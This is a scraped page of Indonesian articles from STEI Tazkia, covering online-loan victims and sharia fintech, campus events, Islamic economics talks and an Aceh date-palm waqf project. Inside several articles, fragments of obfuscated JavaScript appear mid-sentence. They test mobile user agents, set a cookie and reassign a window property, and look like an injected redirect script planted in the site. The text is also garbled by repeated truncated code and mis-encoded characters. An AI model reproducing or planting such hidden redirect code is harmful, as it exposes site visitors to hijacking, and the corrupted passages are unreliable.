Artikel

Pinjaman Online Makan Korban, Saatnya Menerapkan Ekonomi Syariah!

No comments

Di belum lengkapnya regulasi pinjaman online (pinjol) yang dilakukan oleh perusahaan Financial Technology (Fintech), peluang bermain bagi pinjol terbuka, termasuk memakan korban, akibat ribanya.

Baru-baru ini publik dikagetkan oleh berita seputar pinjaman online yang terus memakan korban. Sebagaimana diberitakan CNN Indonesia, seorang Ibu berinisial L (40) di Jakarta sampai mencoba bunuh diri setelah tak sanggup membayar cicilannya ke pinjol dari sebuah Fintech.

Bukan hanya Ibu L yang menanggung bunga hingga 67%, nasabah pinjol lain bahkan diancam dan dilecehkan karena tidak sanggup membayar cicilannya di sebuah Fintech.

Mulai dari kasus kekerasan fisik psikis hingga bunuh diri, kasus jeratan pinjol terus meningkat. Menurut data Lembaga Batuan Hukum (LBH) Jakarta, hingga saat ini sudah ada 283 korban dari kalangan menengah ke atas maupun menengah ke bawah yang mengadukan keluhan terhadap berbagai aplikasi Fintech. Beberapa perusahaan yang dikeluhkan bahkan sudah memperoleh izin usaha dari Otoritas Jasa Keuangan (OJK).

Pengamat Ekonomi Syariah yang juga Kepala Program Studi Manajemen Binsis Syariah Sekolah Tinggi Ekonomi Islam (STEI) Tazkia, Tuba Jazil, M.Fin, banyak pinjaman online yang tak ubahnya rentenir digital. Dan, sebenarnya, tidak perlu menunggu kasus besar hingga transaksi pinjaman online berbasis riba ini baru disoroti.

Karena menurutnya, larangan riba baik dari Alquran maupun Injil sudah cukup menjadi dasar untuk melarang praktik pinjaman ribawi. Apalagi jika berkembang melalui online, karena riba membawa kezaliman. “Pinjaman Online berbasis riba ini adalah kezaliman yang nyata, maka haruslah dijauhi, agar Allah SWT melindungi kita dari adzab-Nya.”

Dalam kenyataannya, belum ada regulasi soal pembatasan bunga/ marjin pinjaman dan apakah boleh menggunakan debt collector dalam penagihan. Regulator baru mendata legalitas Fintech. Per September lalu, Satgas Waspada Investasi menemukan sekitar 227 fintech ilegal yang menjalankan bisnis P2P lending. Lebih dari separuhnya berasal dari China dan sebagian lainnya berasal dari Indonesia dan Eropa Timur.

Pengamat dari Pusat Kajian Fintech Syariah STEI Tazkia, Dr. Murniati Mukhlisin M.Acc, merekomendasikan urjensinya riset bisnis Fintech. Riset mencakup, “Dampaknya terhadap sisi akad, syarat, rukun, hukum, administrasi pajak, akuntansi, dan audit”, kata Murniati. Termasuk, tambahnya riset mengenai prospek dan tantangan termasuk dampak sosial dan budaya. Riset terakhir ini perlu dipertajam dengan mengadakann survei pengguna atau perbandingan kasus antarnegara.

Fintech Syariah

Murniati pun menyinggung bedanya Fintech konvensional dengan syariah. Hal ini perlu untuk menunjukkan bahwa Fintech syariah sejatinya lebih berkelanjutan. Untuk menjaga keberlanjutan Fintech syariah, menurut Murniati, setiap pelaku Fintech syariah harus memahami dan memastikan bisnisnya tidak melanggar hukum positif dan hukum islam. Untuk itu, Fintech syariah harus memiliki Dewan Pengawas Syariah (DPS), menerapkan akuntansi yang benar yaitu dengan mematuhi PSAK Syariah, dan tentunya ada audit syariah secara berkala.

“Tata Kelola, menjadi sangat penting. Di situ ada Transparancy, Accountability, Responsibility, Independency, dan Fairness, disingkat TARIF. Selain itu Fintech syariah juga harus menerapkan e-KYC (know your customer), e-KYI (know your investor), dan etika Islami”, kata Murniati menegaskan.

Miftahul AnwarPinjaman Online Makan Korban, Saatnya Menerapkan Ekonomi Syariah!
read more

Grand Launching Matriculation Language Programs

1 comment

Kamis, 11 Oktober Kampus Matrikulasi STEI Tazia mengadakan “Grand Launching Matriculation Language Programs”. Program bahasa ini merupakan sebuah program yang ditujukan untuk meningkatkan kemampuan bahasa Inggris dan Arab (aktif) seluruh mahasiswa Tazkia. Program ini juga ditujukan untuk menyiapkan dan mencetak Ekonom yang mampu bersaing dalam kancah Internasional.

Dengan berlakunya Program ini setiap mahasiswa diwajibkan untuk:

1. Berbahasa Inggris atau Arab selama program matrikulasi, dan di area Matrikulasi;

2. Mereka bersedia saling mengingatkan untuk menegakkan bilingualisme;

3. Mereka bersedia membangun lingkungan bahasa yang kondusif;

4. Yang terakhir mereka mau menerima konsekuensinya jika melanggar peraturan.

“Program ini ditujukan agar mahasiswa terbiasa untuk menggunakan bahasa Arab dan Inggris dalam aktifitas sehari-sehari mereka. Selain itu program ini juga ditujukan sebagai bekal bagi para mahasiswa untuk mempersiapkan diri mereka dalam persaingan dunia profesional dalam”. Papar Ustadz Hasan (Ketua program matrikulkasi) sekaligus meresmikan program. |da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarGrand Launching Matriculation Language Programs
read more

MONDAY FORUM, Paradox Perekonomian Global Ekonomi Islam & Perspektif Perekonomian Nasional

No comments

Senin, 08 Oktober 2018 M/A� 28 Muharram 1440 H

Monday Forum kali ini diisi dengan talk dari Guru Besar Ilmu Ekonomi dan Ekonomi Politik FEM IPB, Prof. Dr. Didin S. Damanhuri, S.E, M.S, DEA. Acara dibuka pukul 10.00 WIB oleh Rizki Zakiya, S.E.I. dari Humas STEI Tazkia selaku pembawa acara. Tilawah Qura��an dibacakan oleh Muhammad Alwi, mahasiswa Program Studi Ekonomi Syariah STEI Tazkia. Sebelum memulai pada acara inti, Bu Ries Wulandari, M.Si selaku kepala LPPM memberikan sambutan dilanjutkan dengan sambutan dari Dr. Murniati Mukhlisin, M.Acc. selaku ketua STEI Tazkia dan Dr. M. Syafii Antonio selaku Pembina Yayasan Tazkia Cendekia.

Seminar Talk Series dimoderatori oleh Dr. Mukhamad Yasid, M.Si. Prof. Didin adalah salah satu orang yang memberi masukan tentang perlunya pendidikan ekonomi Islam sejak 19 tahun yang lalu. Prof. Didin beserta Dr. M. Syafii Antonio, M.Ec dan Dr. Yasid telah bersama-sama membangun Tazkia dan Prof. Didin pun sempat mengajar di Tazkia hingga tahun 2012.

Prof. Didin membuka dengan pernyataan bahwa ekonomi Islam tidak hanya di ruang kosong, tetapi harus berada pada ruang yang dinamis, yang bisa merespon perkembangan yang terjadi. Prof. Didin memaparkan permasalahan saat ini, bahwa dunia modern dibangun oleh sekularisme. Sikap sekuler ini berasal dari keadaan Eropa yang miskin karena otoritas gereja yang bekerja sama dengan tuan tanah, sehingga mereka menganggap bahwa penyebab kemiskinan dan yang menghalangi perkembangan Eropa pada masa itu adalah agama. Kaum sekuler menganggap bahwa sebaiknya agama tidak ikut campur dalam kehidupan sosial. Hal ini berujung pada revolusi ilmu pengeahuan, revolusi industri dan revolusi politik. Pihak yang mengendalikan dunia bukanlah Amerika atau Eropa, melainkan para pebisnis. Karena sekuler tidak ada pengendalian dari agama, maka yang bergerak adalah nafsu duniawi.

Inilah yang disebut paradoks, adanya Rainasance melahirkan sekularisme, dan dari sekularisme melahirkan revolusi pertanian, revolusi industri, revolusi keuangan dan revolusi ekonomi digital. Model ekonomi saat ini berdasarkan keinginan yang berakhir pada eksploitasi sumber daya alam dan manusia. Kaum modal berkuasa atas kaum buruh. Model ini akan sangat sulit berubah jika masyarakat masih sekuler dan tidak menerapkan norma agama.

Prof Didin memaparkan bahwa dasar Maqoshid yang beliau gagas ada tiga: Tauhid, Adalah (keadilan) dan Kholifatu fil Ardh (kepemimpinan). Beliau juga memberikan solusi berupa a�?Asian Waysa�� yaitu agama menjadi landasan proses pembangunan, full employment oriented dan extended family based social security system. Bahwasannya segala perkembangan ilmu pengetahuan perlu dilandasi dan dimasukkan nilai-nilai agama dan setiap masyarakat saling peduli satu sama lain.

Bapak Yasid selaku moderator menutup pemaparan Prof Didin dengan mengatakan bahwa masalah ekonomi adalah keserakahan yang kemudian memiliki tempat dan akhirnya mengeksploitasi. Jika kita bisa bahagia tanpa menjadi Amerika, untuk apa menjadi Amerika? Seminar talk series diakhiri dengan sesi tanya jawab dan foto bersama. (Istiqomah Syaa��bani)

Miftahul AnwarMONDAY FORUM, Paradox Perekonomian Global Ekonomi Islam & Perspektif Perekonomian Nasional
read more

Keseimbangan antara Materi dan Spritual dalam Konsep Ekonomi Islam

No comments

Konsep islam menawarkan keseimbangan materi dan spritual. Misalnya, orang boleh punya orientasi menjadi kaya tetapi tidak boleh rakus dan pelit. Inilah rumusan sederhana tentang konsep ekonomi islam yang berorientasi pada nilai ibadah, semangat kebersamaan dan azas keadilan. Hal ini disampaikan oleh Dr. Habib Namlaity, Pengurus Badan Wakaf asal Bahrain dalam kuliah umumnya di STEI Tazkia Bogor, Senin (17/8).

Dalam materinya, Dr. Habib menjabarkan bagaimana keseimbangan antara materi dan spiritual dalam konsep islam. a�?Islam tidak menetapkan takaran maksimal boleh mengambil untung dari suatu transaksi,tetapi islam melarang orang untuk memanfaatkan situasi mencari keuntungan besar sehingga harga tidak terjangkau,a�? jelasnya.

a�?Islam pun mengajarkan etika kejujuran,larangan curang dan bahkan larangan merusak harga pasar dengan cara menaikan atau menurunkan harga barang seenaknya,a�? tambah Habib.

Dalam kesempatan itu Habib juga didampingi oleh ketua Badan Pengelola Wakaf Ar Risalah, Padang, Mulyadi Muslim. (sippfm.com) -6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarKeseimbangan antara Materi dan Spritual dalam Konsep Ekonomi Islam
read more

MONDAY FORUM – PERKEMBANGAN PERSEPSI MASYARAKAT TERHADAP PERBANKAN SYARIAH a�?Pengalaman Maybank, di Indonesia dan Malaysiaa�?

No comments

Bogor (20/08/18)A� a�� STEI TAZKIA kembali membangun kerjasama dengan salah satu lmbaga keuangan. Kali ini yang digandeng adalah slah satu lembaga keuangan Malaysia yang membuka cabang di Indonesia yaitu PT Bank Maybank Indonesia, Tbk a�� Unit Syariah. Hal yang disepakati adalah dalam hal penelitian, pelatihan, beasiswa bagi para penggiat ekonomi syariah.

Selain melakukan penandatanganan perjanjian MOU denganA� Maybank, pada forum kali ini juga diadakan sesi diskusi bersama BapakA� Herwin Bustaman, selaku Head Shariah Banking PT Bank Maybank Indonesia dengan pembahasan topik a�?Perkembangan Persepsi masyarakat terhadap perbankan syariaha�?.

Dalam sesi diskusi bapak Herwin mengatakan bahwa selama beberapa tahun terakhir Maybank telah fokus dalam dana kebajikan yang terus naik per tahunnya untuk disosialisasikan kepada bencana alam, infrastruktur, pendidikan dan lain-lain.

Berbicara mengenai keuangan syariah dengan melihat potensi besar yang dimiliki Indonesia dilihat dari sumber daya yang melimpah, ekonomi yang cukup tangguh dan banyaknya infrastruktur yang berkembang hal tersebut dapat membuat keuangan syariah dapat memainkan peranan penting dalam pembangunan infrastruktur dengan ritel dan bisnis UMKM dan juga bisnis perbankan investasi.

Melihat potensiA� besar yang dimiliki Indonesia tersebut sangat besar, namun kenyataannya pertumbuhannya dinilai sangat lambat yang dimana sahamA� bank syariah dihitung terakhir pada bulan mei 2018 hanya mencapai 5,64% . sehinggaA� dalam hal iniA� industri syariah perlu didukung dengan nilai-nilai yang inovatif, pendekatan sistematis yang signifikan dalam mengatasi tantangannya yang juga di dorong dari dukungan pemerintah, peraturan struktur syariah, industri pendukung yang signifikan dan juga dari pasar sukuk korporasi yang cukup besar.

Sehingga strategi yang telah dilakukan Maybank dalam pendanaan keuangan syariah adalah dengan dana haji dan dana pensiun yang telah dikelola khusunya di Malaysia sejak 1969 yangA� dalam hal ini sumber dana ini sangat ideal untuk mendukung pembiayaan proyek jangka panjang.

Selain itu juga perbandingan pendanaan APBN Indonesia dibanding Malaysia saat ini cukup tinggi, dimana hal tersebut ini dapat membantu Indonesia dalam posisi sebagai Global Islamic Financial Hub.

Dalam sesi akhir, Bapak Herwin Bustaman pun membahas tentang generasi millennial di Indonesia dimana sangat berperan penting dalam memperkuat citra bank syariah dengan banyaknya akses melalui online yaitu dengan merangkul para millenial. Poin penting dalam generasi millenial saat ini bank syariah harus secara serius membentuk stategi bisnis untuk memasukkan generasi millenial sebagai bagian dari pasar utama.

Terakhir tidak kalah pentingnya, industri syariah sangat membutuhkan bakat yang baik tidak hanya untuk menyalakan kembali pertumbuhan yang sehat tetapi juga untuk bersaing dengan platform ekonomi baru dalam membentuk citra persepsi masyarakat terhadap perbankan syariah.

Miftahul AnwarMONDAY FORUM – PERKEMBANGAN PERSEPSI MASYARAKAT TERHADAP PERBANKAN SYARIAH a�?Pengalaman Maybank, di Indonesia dan Malaysiaa�?
read more

Kajian Sukses Kaya Bahagia dengan Asmaul Husna & Teladan Rasululllah Serta Wisuda Huffadz Rumah Quran Muliah

No comments

12 Agustus 2018 / 1 Dzhulhijjah 1439. Sentul City, Bogor. STEI Tazkia bersama Tazkia Grup kembali hadir dalam agenda rutin bulan kajian Sukses Kaya Bahagia dengan Asmaul Husna dan teladan Rasulullah Shallallahu a�?Alahi Wasallam. Kajian bulanan kali ini istimewa karena agenda Kajian Bulanan digabungkan dengan Wisuda Tahfidz dari Rumah Quran MuliaA� yang dipimpin oleh K.H. Nurul Anwar. Juga kesempatan SKB ini menjadi momen Open House bagi beberapa sekolah sekitar Bogor yang dilanjutkan dengan Olimpiade Ekonomi Islam.

Tidak kurang dari 25 Santri Tahfidz diwisuda dalam acara ini. Kesemua santri tersebut telah mengkhatamkan Al Quran 30 Juz dalam program Rumah Quran Mulia. Dr. Muhammad Syafii Antonio dalam kesempatan SKB ini juga mengapresiasi upaya para santri untuk menghatamkan hafalan mereka sehingga mereka layak untuk di wisuda pada momen spesial ini. Beliau juga memaparkan bagaimana program Quran menjadi program unggulan STEI Tazkia, sehingga selanjutnya STEI Tazkia dan RQM akan menjalin kerjasama untuk semakin kuat menghidupkan Quran dan amal nya dalam kedua lembaga tersebut.

Mengutip Asmaa�� Allah Taa��ala Al Ghoni & Al Mughni, Dr. Muhammad Syafii Antonio mengingatkan untuk kita semua meminta kepada Allah Taa��ala untuk memiliki kekayaan setidaknya dalam lima aspek; Hati, Kawan, Ilmu, Bakti, dan Harta. Kekayaan tersebut ditujukan untuk semakin menjadi hamba Allah yang bertaqwa.

K.H. Muhammad Nurul Anwar menjadi pembicara setelah Dr. Muhammad Syafii Antonio, menyampaikan pesan kepada seluruh hadirin dan khususnya santri huffadz, agar terus meluangkan waktu untuk Al Quran. Beliau mencontohkan kota makkah dan madinah, dua kota tandus tapi memiliki keberkahan Al Quran sehingga seluruh kebutuhan dengan kualitas terbaik Allah hadirkan di sana dengan cara Allah.

Kedua lembaga sepakat untuk membangun sinergi program mengembangkan Quran di kalangan mahasiswa dengan program yang tersusun rapih untuk pengembangan karakter masing-masing mahasiswa.

Selepas Kajian Sukses Kaya bahagia, para siswa yang hadir dari berbagai sekolah mengikuti Seminar Bisnis yang diisi oleh Alumni STEI Tazkia, Gilang Hardian, S.E.I. Pemilik Anajidan Helmet, Alumni yang mengharumkan nama STEI Tazkia di kancah Global menjadi 6 terbaik pengusaha muda dunia. Kemudian agenda dilanjutkan dengan Olimpiade Ekonomi Islam yang diikuti oleh 21 tim dari berbagai sekolah sebogor. Untuk selanjutnya dipilih 10 tim yang akan masuk dalam babak selanjutnya di bulan September nanti. |g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarKajian Sukses Kaya Bahagia dengan Asmaul Husna & Teladan Rasululllah Serta Wisuda Huffadz Rumah Quran Muliah
read more

Titik Kebangkitan Pertanian Islam di Lembah Barbeta

No comments

Oleh: Nurizal Ismail,A�Direktur Pusat Studi Kitab Klasik Islami STEI Tazkia dan Peneliti ISEFID

Di lembah Barbeta, Aceh pada, 3 juli 2018 telah diluncurkan gerakan wakaf 1550 pohon kurma dan penandatanganan memorandum of understanding (MoU) antara koperasi petani kurma lembah Barbate yang diwakili oleh Bapak Azwar Muhammad dan Sekolah Tinggi Ekonomi Islam (STEI) Tazkia diwakili oleh Dr. Murniati Mukhlisin selaku ketua STEI Tazkia. Yang menjadi spesial, penandatanganan MoU ini juga disaksikan oleh Ustadz Abdul Somad (UAS). UAS, memang menjadi salah satu pembina baitul mal Barbate.

Bapak Mahdi Muhammad sebagai penggagas perkebunan kurma dalam sambutan memberikan tiga poin penting.

Pertama, lembah Barbate sebagai titik kebangkitan pertanian Islam. Beliau menjelaskan bahwa ada dua Barbate di dunia yaitu di Andalusia dan di Aceh. Pemberian nama lembah Barbate ini terinspirasi dari lembah Barbate yang ada di Andalusia. Kedua, kenapa kurma yang dikembangkan di lembah Barbate karena Qura��an menyebutkannya berkali-kali dan selain itu kurma itu mempunyai kelebihan menyuburkan tanah yang mati. Ketiga, baitul mal adalah lembaga keuangan Islam yang mengelola harta-harta wakaf kaum Muslimin dan ini pernah dipraktikkan dalam sejarah Islam. Adapun wakaf 1150 pohon kurma adalah inspirasi wakaf Utsman bin Affan yang sampai sekarang kemanfaatannya banyak dirasakan oleh umat Muslim.

Penulis melihat bahwa apa yang telah dilakukan oleh Bapak Mahdi dan rekan-rekannya mencoba membangkitkan pertanian aceh dengan merujuk pada aturan-aturan Syaria��ah dengan mengambil inspirasi dari kegemilangan pertanian Islam baik di awal Islam sampai pada masa Andalusia. Ada tiga poin menarik yang bisa diambil dari apa yang telah dilakukan oleh petani kurma di Barbate yang dihubungkan dengan sejarah Andalusia.A�

Tarik bin Ziyad
Dari sisi sejarah, Barbate adalah suatu tempat terjadinya pertempuran antara pasukan Muslim yang dipimpin oleh Tarik bin Ziyad dan pasukan Visigoth yang dipimpin oleh Roderic pada 19 Juli 711 M/ 28 Ramadhan 92 H. Kemenangan pasukan Islam dalam pertempuran di sungai Barbate itu membuka jalan bagi masuknya Thariq bin Ziyad menuju kota-kota lainnya di Spanyol.

Pemilihan lembah Barbate itu bukan tanpa alasan sebagai tempat berperang melawan pasukan Roderik. Kondisi geografis lembah yang di kanannya adalah berdiri gunung yang tinggi serta di sisi kirinya terdapat sebuah danau membuat mereka dapat konsentrasi menghadapi pasukan lawan dari arah depan tanpa takut ada serangan dari belakang.

Inspirasi ini pun terjadi di lembah Barbate, Aceh yang fisik daerahnya sama dengan yang ada di Andalusia. Spirit Tariq bin Ziyad dan pasukannya perlu menjadi contoh untuk membangkitkan kembali semangat perjuangan melawan kezaliman dalam konteks ini adalah pertanian kurma di lembah Barbate, Aceh. Sudah saatnya pertanian Indonesia lepas dari sistem kapitalisme yang selama petani hanya menjadi objek eksploitasi para pemodal.

Dari sisi keilmuwan, ilmu pertanian di Andalusia sangat maju sekali. Kitab-kitab pertanian banyak lahir di Andalusia misalnya oleh Mua??ammad ibn Baa??a??A?l al-AndalA�sA�, yang dilahirkan di Toledo dengan judul diwan al-filA?a??a dan KitA?b al-qaa??d waa��l-bayA?n. Ada juga AbA�a��l -Khayr al-IshbA�lA� (Sevilla), yang lebih dikenal sebagai dokternya tumbuh-tumbuhan dengan kitabnya yang berjudul, KitA?b al-filA?a??a, dan juga eksiklopedia biologi yang berjudul Umdat al-a?�abA�b fA� maa�?rifat al-nabA?t li-kull labA�b. Lainnya adalah Syaikh Al-Fadhil Abu Zakariyyah Yahya bin Muhammad bin Ahmad bin Awwam al-IshbA�lA� dengan kitabnya A�a�?Filahaha��. Bahkan dalam prakteknya, sistem pertaniannya sudah sangat maju dan berkontribusi terhadap perekonomian Andalusia saat itu.

Wakaf Amal Jamaa��i
Terakhir adalah wakaf sebagai sarana atau wasilah dalam pembangunan pertanian Syariah dan kemaslahatan umat di Indonesia. Dalam sejarah Islam wakaf juga selalu terkait dengan pertanian selain wakaf masjid. Contohnya, tanah Khaibar yang diwakafkan Umar bin Khattab untuk pertanian dan wakaf Utsman bin Affan berupa sumur ruma juga digunakan untuk perkebunan kurma di Madinah.

Wakaf tidak hanya menjadi amal pribadi, tetapi bisa menjadi amal jamaa��i ketika dilakukan bersama-sama. Itu lah yang dilakukan koperasi petani kurma Barbate dan baitul malnya mengajak masyarakat untuk berwakaf melalui kurma yang nanti hasilnya digunakan untuk kemaslahatan umat.

Semoga apa yang tengah dilakukan di lembah Barbate Aceh menjadi semangat kebangkitan pertanian Islam di Indonesia sebagaimana yang terjadi di lembah Barbate, Andalusia ribuan tahun yang lalu.A� Semangat ini harus diikuti dengan semangat pengembangan keilmuannya dan sarana pengembangannya. Menghadirkan karya-karya ulama terdahulu dibidang pertanian dan menjadikan wakaf sebagai sarananya. Wallaua��alam bissawab!

Source : http://mysharing.co/titik-kebangkitan-pertanian-islam-di-lembah-barbeta/

Miftahul AnwarTitik Kebangkitan Pertanian Islam di Lembah Barbeta
read more

STEI Tazkia, ACT Aceh, dan Baitul Mal Barbate Tandatangani Kerja Sama Agribisnis

No comments

Sektor agribisnis memiliki peluang yang besar di Aceh. Dalam rangka pengembangan sektor agribisnis untuk pembangunan sosial, Aksi Cepat Tanggap (ACT) Aceh bersama dengan Baitul Mal Barbate, Sekolah Tinggi Ekonomi Islam Tazkia, menandatangani Nota Kesepahaman kerja sama di sektor tersebut.

Penandantangan ini dilaksanakan di Lembah Barbate, Blang Bintang, Aceh Besar, Selasa (3/7/2018). Aktivitas tersebut disaksikan oleh Ustaz Abdul Somad, yang hadir ke Lembah Barbate dalam rangka peluncuran Gerakan Wakaf 1.550 pohon kurma.

Husaini Ismail selaku Kepala Cabang ACT Aceh mengatakan, penandatanganan Nota Kesepahaman antara Baitul Mal Barbate, Sekolah Tinggi Ekonomi Islam Tazkia dan Perbankan ini untuk mengembangkan sektor agribisnis yang ada di Aceh, khususnya Lembah Barbate.

Pendekatan pengembangan agribisnis yang digunakan adalah sosial dan bisnis.

a�?Target awal akan mulai kita kembangkan komoditi kurma, serai wangi, dan ternak di kawasan Lembah Barbate, Blang Bintang, Aceh Besar dengan konsep integrated farming. Kotoran ternak akan jadi pupuk kemudian sisa ampas serai wangi dan pohon pisang akan jadi makan ternak,a�? papar Husaini.

Pada kesempatan yang sama, Dr. Murniati Mukhlisin, M.Acc selaku rektor Sekolah Tinggi Ekonomi Islam Tazkia juga mengatakan, Aceh punya peluang yang sangat besar dalam hal mengembangkan sektor agribisnis. Contohnya seperti yang dilakukan di Lembah Barbate Blang Bintang ini.

Tazkia sendiri sudah mengambil peran jauh-jauh hari, dimulai sejak tsunami dengan menyekolahkan anak Aceh ke Tazkia dengan beasiswa penuh.

a�?Harapannya ketika mereka kembali ke Aceh, mereka bisa membangun Aceh dalam bidang ekonomi A�khususnya ekonomi syariah. Alhamdulillah sekali hari ini kita sudah menandatangani MoU dengan Aksi Cepat Tanggap dalam hal pengembangan sektor agribisnis. Harapan ke depannya, pengembangan sektor ini bisa lebih maksimal dengan ditandatanganinya MoU ini,a�? ujar Murniati.

http://www.tribunnews.com/regional/2018/07/04/act-aceh-baitul-mal-barbate-dan-stei-tazkia-tandatangani-kerja-sama-agribisnis 800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Miftahul AnwarSTEI Tazkia, ACT Aceh, dan Baitul Mal Barbate Tandatangani Kerja Sama Agribisnis
read more

Tiga Dosen Tazkia Bentang Riset di Kyoto, Jepang

No comments

REPUBLIKA.CO.ID,JEPANG — Perhelatan tahunan Society for the Advancement of Socio-Economics (SASE) kali ini diadakan padaA� 23-25 Juni di Kyoto, Jepang. Bertempat di Universitas Doshisha, SASE kali ini dihadiri oleh hampir 300 peneliti dari 50 negara.

Tahun ini, ada tiga dosen dari STEI Tazkia yang terpilih untuk membentangkan hasil risetnya yaitu Murniati Mukhlisin, Rochania Ayu Yunanda, dan Faried Kurnia Rahman. Murniati membawakan topik a�?Do Islamic Macroeconomic and Microeconomic Exista�? yang mengkritisi kontribusi publikasi internasional mengenai lintas sektoral ekonomi Islam empat tahun terakhir.

